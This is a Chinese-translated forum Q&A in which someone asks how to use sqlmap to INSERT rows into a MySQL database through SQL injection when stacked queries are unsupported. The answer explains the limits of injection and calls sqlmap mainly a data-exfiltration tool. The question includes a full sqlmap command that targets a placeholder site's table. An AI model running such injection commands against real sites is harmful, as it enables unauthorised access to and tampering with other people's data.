SQLMAP - 如果在 MYSQL 服务器上无法进行堆叠查询,如何插入数据库?

Edm*_*mas 6 mysql sql stacked sql-insert sqlmap

使用 SQLMAP 提取数据库表和列工作正常,但当我尝试执行 INSERT 语句时,出现以下错误:

询问:

sqlmap -u "http://www.example.com/details.php?item_id=327" -D main_db -T orders --columns --sql-query \ "INSERT INTO orders (order) VALUES ('test')"


Table:orders

+---------+----------+
| Column  | Type     |
+---------+----------+
| order   | longtext |
| data    | date     |
| timp    | time     |
+---------+----------+

[22:47:50] [WARNING] execution of custom SQL queries is only available when stacked queries are supported
 INSERT INTO orders (order) VALUES ('test'):    None
[22:47:50] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.example.com'
Run Code Online (Sandbox Code Playgroud)

是否有任何解决方法可以在 MYSQL 服务器上使用 SQLMAP 更改数据库?

小智 5

大多数数据库不允许您仅使用 SQL 注入插入数据(当然,除非您已经处于插入查询中,即使这样您通常也无法控制表名称)。您不能简单地堆叠查询,这仅在 Microsoft SQL Server、PostgreSQL 和漫画书中允许。您可以使用子选择或联合选择来访问另一个表中的数据,SQLMap 在幕后执行此操作。

SQLMap 的真正优势在于数据泄露。如果您想要更复杂的东西,例如为您提供外壳的多阶段攻击,那么您需要编写漏洞利用程序。脱掉辅助轮,成为男人(或女人)。

答案可耻地从这里复制